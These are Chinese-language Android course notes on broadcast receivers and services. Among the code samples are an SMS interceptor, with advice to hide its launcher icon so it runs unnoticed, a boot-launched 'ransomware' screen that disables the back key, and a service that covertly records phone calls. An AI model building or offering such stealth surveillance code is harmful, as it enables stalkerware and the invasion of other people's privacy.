导语
07 广播 BroadcastReceiver 介绍
广播
- 广播的概念- 现实:电台通过发送广播发布消息,买个收音机,就能收听- 电台基站(官方,非官方) –>广播信号
- 收音机 –>接受信号
 
- Android:系统在产生某个事件时发送广播,应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。
 
- 现实:电台通过发送广播发布消息,买个收音机,就能收听
##android下广播机制设计的目的
- 手机里面Android系统在运行的过程中会有很多事件。 - 手机电量不足
- 手机开机
- 有人给你发送了短信
- 你向外拨打了电话
- 手机启动完毕
- 屏幕解锁
 
- google的android系统把常用的事件,做成了广播机制。一旦事件产生了,就向全系统发送一个广播消息。应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。 
####如何使用内置的广播接受者
####(创建类似于Activity,四大组件都如此,先.继承一个类 后.配置一个清单)
- 创建一个类继承 BroadcastReceiver (类似买了收音机)
- 在清单中配置广播接受者(装上电池,配好频道) - <receiver android:name="com.itheima.ipdail.IpDailBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver>
- 特殊的广播接受者,需要添加权限(如:开机自启动权限)。
- 重写BroadcastReceiver类的onReceive(Context context, Intent intent)方法。
- 通过intent拿到数据,并可以进行修改 - public class CallReceiver extends BroadcastReceiver{ - //当收到广播时,此方法调用 @Override public void onReceive(Context context, Intent intent) { //添加ip线路 //1.拿到用户拨打的号码,修改号码添加ip线路 String number = getResultData(); number = "17951" + number; //2.把新号码设置进广播中 setResultData(number); //此代码无效,因为打电话应用的广播接收者是最终接收者 //abortBroadcast();//阻止其他广播接收者接收这条广播,可以理解为拦截广播 }- } 
#广播接收者
- 广播发出时,会先自己定义意图过滤器action和数据data(有时只定义意图过滤器action),发出广播后,被广播接收者接收。
- 当一条广播被发送出来时,系统会在所有清单文件中遍历(遍历所有,哪怕找到了,也还要继续遍历,直到把所有清单文件遍历一遍),通过匹配意图过滤器找到能接收这条广播的广播接收者
- 广播接收者一旦接收到了广播,就开始执行广播接受者里面的代码,若没有接收到匹配的广播,代码就不会执行
###一些常量
android.intent.action.NEW_OUTGOING_CALL:外拨电话
android.intent.action.PACKAGEADDED:应用被安装
android.intent.action.PACKAGEREMOVED:应用被移除
android.intent.action.PACKAGE_REPLACED:应用被替换
android.intent.action.MEDIAMOUNTED:sd卡被装载了
android.intent.action.MEDIAREMOVED:sd卡被移除了
android.intent.action.MEDIA_UNMOUNTED:sd卡未挂载
android.intent.action.BOOTCOMPLETED:一旦设备完成启动时触发。需要RECEIVE_BOOT_COMPLETED权限。
Mount:安装,登上
Boot:引导程序,启动,引导
##不同android版本的安全升级
- 2.3以及2.3一下的版本,任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。 
- 4.0以及4.0以上的版本,要求应用程序必须有ui界面(activity) 广播接受者才能生效,如果用户点击了强行停止,应用程序就完全关闭了,广播接受者就失效了。如果用户没有点击过强行停止,即使应用程序进程不存在,也会自动的运行起来。 
#IP拨号器
原理:接收拨打电话的广播,修改广播内携带的电话号码
- 定义广播接收者接收打电话广播
public class CallReceiver extends BroadcastReceiver {
    //当广播接收者接收到广播时,此方法会调用
    @Override
    public void onReceive(Context context, Intent intent) {
        //拿到用户拨打的号码
        String number = getResultData();
        //修改广播内的号码,//同时把新号码设置进广播中
        setResultData("17951" + number);
    }
}
- 在清单文件中定义该广播接收者接收的广播类型 - <receiver android:name="com.itheima.ipdialer.CallReceiver"> <intent-filter > <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver>
- 接收打电话广播需要权限 - <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
- 即使广播接收者的进程没有启动,当系统发送的广播可以被该接收者接收时,系统会自动启动该接收者所在的进程
#短信拦截器
系统收到短信时会产生一条广播,广播中包含了短信的号码和内容
- 1.定义广播接收者接收短信广播 - public class SmsReceiver extends BroadcastReceiver { //intent:此对象就是广播中包含的那个intent @Override public void onReceive(Context context, Intent intent) { //从广播中取出短信的内容 Bundle bundle = intent.getExtras(); //数组中的每个元素,就是一条短信 Object[] objects = (Object[]) bundle.get("pdus"); for (Object object : objects) { //把object转换成短信对象 SmsMessage sms = SmsMessage.createFromPdu((byte[])object); //获取短信发送者的号码 String address = sms.getOriginatingAddress(); //获取短信的内容 String body = sms.getMessageBody(); if(address.equals("138438")){ //阻止其他广播接收者接收这条广播,可以理解为拦截广播 abortBroadcast(); } System.out.println(address + ":" + body); } } }
- 要理解:系统创建广播时,把短信存放到一个数组,然后把数据以pdus为key存入bundle,再把bundle存入intent
- 2.清单文件中配置广播接收者接收的广播类型,注意要设置优先级属性,要保证优先级高于短信应用,才可以实现拦截 - <receiver android:name="com.itheima.smslistener.SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
- 3.添加权限 - <uses-permission android:name="android.permission.RECEIVE_SMS"/>
- 4.0之后,广播接收者所在的应用必须启动过一次,才能生效,第一次部署进手机时,要保留activity入口,让该应用执行一次,短信拦截器就运行在手机里,之后删除activity入口(就是删除快捷图标)这视为更新,神不知鬼不觉,拦截器就运行在手机里了。 
- 4.0之后,如果广播接收者所在应用被用户手动关闭了,那么再也不会启动了,直到用户再次手动启动该应用
#监听SD卡状态
- 清单文件中定义广播接收者接收的类型,监听SD卡常见的三种状态,所以广播接收者需要接收三种广播<receiver android:name="com.itheima.listensd.SDStatusReceiver"> <intent-filter > <action android:name="android.intent.action.MEDIA_MOUNTED"/> <action android:name="android.intent.action.MEDIA_UNMOUNTED"/> <action android:name="android.intent.action.MEDIA_REMOVED"/> <data android:scheme="file"/> </intent-filter> </receiver>
- 广播接收者的定义 - /** * 此广播接收者用于监听SD卡状态 * 吐司提示SD卡的状态 * @author Administrator * */ public class SDStatusReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //判断收到的是什么广播 String action = intent.getAction(); if (intent.ACTION_MEDIA_MOUNTED.equals(action)) { Toast.makeText(context, "SD卡可用", 0).show(); } else if(intent.ACTION_MEDIA_UNMOUNTED.equals(action)){ Toast.makeText(context, "SD卡不可用", 0).show(); }else if(intent.ACTION_MEDIA_REMOVED.equals(action)){ Toast.makeText(context, "SD卡被移除", 0).show(); } } }
#勒索软件
- 1.定义广播接收者 - /** * 此广播接收器用于开机启动勒索软件 * @author Administrator * */ public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //创建意图对象,准备开启新的Activity Intent it = new Intent(context,MainActivity.class); //创建新的任务栈,存启动的Activity it.setFlags(intent.FLAG_ACTIVITY_NEW_TASK); //启动Activity context.startActivity(it); } }
- 2.清单文件中配置接收开机广播<receiver android:name="com.itheima.lesuo.BootReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
- 3.权限    
- 4.接收开机广播,在广播接收者中启动该勒索Activity,另外设置返回键失效 - public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @Override public void onBackPressed() { //注掉调用父类方法:此Activity返回键失效 //super.onBackPressed(); } }
- 注意:
- 因为广播接收者的启动,并不会创建任务栈,而在广播接收者中需要启动Activity,那么没有任务栈,就无法启动activity
- 手动设置创建新任务栈的flag - it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
#监听应用的安装、卸载、更新
原理:应用在安装卸载更新时,系统会发送广播,广播里会携带应用的包名
- 清单文件定义广播接收者接收的类型,因为要监听应用的三个动作,所以需要接收三种广播
<receiver android:name="com.itheima.app.AppReceiver"> <intent-filter > <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.PACKAGE_REPLACED"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <data android:scheme="package"/> </intent-filter> </receiver>
- 广播接收者的定义
/**
 * 此广播接收者用于监听应用安装卸载
 * @author Administrator
 *
 */
public class AppReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        Uri uri = intent.getData();
        if (intent.ACTION_PACKAGE_ADDED.equals(action)) {
            Toast.makeText(context, uri+"安装了", 0).show();
        }else if(intent.ACTION_PACKAGE_REMOVED.equals(action)){
            Toast.makeText(context, uri+"卸载了", 0).show();
        }else if(intent.ACTION_PACKAGE_REPLACED.equals(action)){
            Toast.makeText(context, uri+"更新了", 0).show();
        }
    }
}
#广播的两种类型
- 无序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,并且是没有先后顺序(同时收到) - //发出无序广播: public void click(View v){ //发送自定义广播 //1.定义意图对象 Intent intent = new Intent(); //2.设置action intent.setAction("com.itheima.a1"); //3.发送广播 sendBroadcast(intent); }
- 有序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,但是会按照广播接收者的优先级来决定接收的先后顺序 - sendOrderedBroadcast(); - 参数1:intent
- 参数2: String receiverPermission 应该是权限
- 参数3:最终接收者
- 参数4:Handler消息处理器
- 参数5:int数据
- 参数6:String数据
- 参数7:Bundles数据对象 - public void fdm(View v){ //发送有序广播 Intent intent = new Intent(); intent.setAction("com.itheima.fdm"); //发送有序广播 //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到 sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null); }
 
 - 优先级的定义:- -1000~1000
 
- 最终接收者:所有广播接收者都接收到广播之后,它才接收,并且一定会接收
 
     public class MainActivity extends Activity {
            @Override
            protected void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_main);
            }
            public void fdm(View v){
                //发送有序广播
                Intent intent = new Intent();
                intent.setAction("com.itheima.fdm");
                //发送有序广播
                //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到
                sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null);
            }
            //定义最终接收者
            class MyReceiver extends BroadcastReceiver{
                @Override
                public void onReceive(Context context, Intent intent) {
                    String order = getResultData();
                    System.out.println("反贪局收到文件" + order);
                }
            }
        }
* abortBroadcast();:阻止其他接收者接收这条广播,类似拦截,只有有序广播可以被拦截
##android应用程序的四大组件:
- activity 界面
- content provider 内容提供者 暴露应用程序私有的数据
- broadcast receiver 接受广播消息
- service 后台的服务四大组件都要在清单文件配置,特殊广播接受者(代码,清单文件) 
#二、Service
- 一个组件长期后台运行,没有界面。
- 就是默默运行在后台的组件,可以理解为是没有前台的activity,适合用来运行不需要前台界面的代码
- 服务可以被手动关闭,不会重启,但是如果被自动关闭,内存充足就会重启
- startService启动服务的生命周期- onCreate()–>onStartCommand()–>onDestroy()
 
- 重复的调用startService会导致onStartCommand被重复调用
####如何创建一个服务(创建类似于Activity,四大组件都如此,1.继承一个 2.配置一个)
- 创建一个类继承Service
- 配置服务清单 - <service android:name="com.itheima.service.MyService"></service>
- 特殊的服务,需要添加权限。
- 重写类的onBind(Intent intent)方法。- 及onCreate()方法–>onStartCommand()方法–>onDestroy()方法
 
- 通过主页面通过intent开启关闭服务 - public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } //点击事件:开启MyService服务 public void click1(View v){ //1.创建意图 Intent intent = new Intent(this,MyService.class); //2.启动服务 startService(intent); } //点击事件:停止MyService服务 public void click2(View v){ //1.创建意图 Intent intent = new Intent(this,MyService.class); //2.停止服务 stopService(intent); } }
进程优先级
- 前台进程:拥有一个正在与用户交互的activity(onResume方法被调用)的进程
- 可见进程:拥有一个非前台,但是对用户可见的activity(onPause方法被调用)的进程
- 服务进程:拥有一个通过startService方法启动的服务的进程
- 后台进程:拥有一个后台activity(onStop方法被调用)的进程
- 空进程:没有拥有任何活动的应用组件的进程,也就是没有任何服务和activity在运行
#电话窃听器
##音频捕获
- 首先需要一个手机电话管理的服务 TelephonyManager
- 创建 android.media.MediaRecorder. - mediaRecorder= new MediaRecorder();
- 设置音频源 - mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频源来自麦克风,只能录自己麦克风单方面的话 (MediaRecorder.AudioSource.VOICE_CALL)//录双方通话,但是只有部分国产手机支持。
- 设置音频文件的编码格式 - mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
- 设置保存文件的路径 - mediaRecorder.setOutputFile("/sdcard/temp.mp4");
- 设置音频的编码方式 - mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
- 准备开始录音 - mediaRecorder.prepare() ;
- 开始录音 - start();
- 停止录音 - stop();
- 释放资源 - release();
- 另外:录音使用下面的两个权限 - <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/>
##电话窃听器
- 电话状态:空闲、响铃、接听 
- 1.获取电话管理器,设置侦听 - 设置侦听有两个参数
- 参数1:手机状态监听器,需继承PhoneStateListener类,重写里面的方法,实现对手机状态的监听,里面有许多方法
- 参数2:设置监听器只监听什么数据,无论你在手机状态监听器中重写了多少个方法,通过参数2,监听器只监听所设置的参数对应的数据,通过监听数据的变化,去调用不同的方法 - @Override public void onCreate() { super.onCreate(); //获取电话管理器 TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); //设置侦听 //arg0:手机状态监听器 //arg1:设置监听器只监听什么数据 tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE); }
 
- 2.侦听对象的实现 - private MediaRecorder recorder; class Mylistener extends PhoneStateListener{
    //电话状态改变时,此方法调用
    @Override
    public void onCallStateChanged(int state, String incomingNumber) {
        // TODO Auto-generated method stub
        super.onCallStateChanged(state, incomingNumber);
        switch (state) {
        case TelephonyManager.CALL_STATE_IDLE://空闲
            if(recorder != null){
                recorder.stop();
                //释放占用的资源
                recorder.release();
                recorder = null;
            }
            break;
        case TelephonyManager.CALL_STATE_RINGING://响铃
            if(recorder == null){
                recorder = new MediaRecorder();
                recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                recorder.setOutputFile("sdcard/voice.3gp");
                recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                try {
                    //准备完毕后,随时可以录音
                    recorder.prepare();
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
            break;
        case TelephonyManager.CALL_STATE_OFFHOOK://摘机
            if(recorder != null){
                recorder.start();
            }
            break;
        }
    }
}
- 3.添加权限, - 读取用户手机状态权限
- 写入SD卡权限
- 开机自启动权限
- 记录音频权限 - <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 
–电话窃听器示例:—-
/**
 * 此RecorderService服务:用于监听手机状态改变,实现电话窃听器功能
 * 1、获取电话管理器,并对手机设置监听
 * 2、定义一个手机监听器,实现电话窃听器功能
 * 
 * @author Administrator
 *
 */
public class RecorderService extends Service {
    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }
    @Override
    public void onCreate() {
        // TODO Auto-generated method stub
        super.onCreate();
        //获取电话管理器
        TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        //设置侦听
        //arg1:设置监听器只监听什么数据
        tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
    }
    //定义多媒体录音对象
    private MediaRecorder recorder;
    class Mylistener extends PhoneStateListener{
        //电话状态改变时,此方法调用
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            // TODO Auto-generated method stub
            super.onCallStateChanged(state, incomingNumber);
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE://空闲
                if(recorder != null){
                    //停止录音
                    recorder.stop();
                    //释放占用的资源
                    recorder.release();
                    recorder = null;
                }
                break;
            case TelephonyManager.CALL_STATE_RINGING://响铃
                if(recorder == null){
                    //获取多媒体录音对象
                    recorder = new MediaRecorder();
                    //设置音频源,MIC只能设置音频源来自麦克风,只能录自己麦克风单方面的话
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //设置音频文件的编码格式
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    //设置保存文件的路径
                    recorder.setOutputFile("sdcard/voice.3gp");
                    //设置音频的编码方式
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    try {
                        //准备完毕后,随时可以录音,准备开始录音了
                        recorder.prepare();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK://摘机
                if(recorder != null){
                    //开始录音
                    recorder.start();
                }
                break;
            }
        }
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        return super.onStartCommand(intent, flags, startId);
    }
}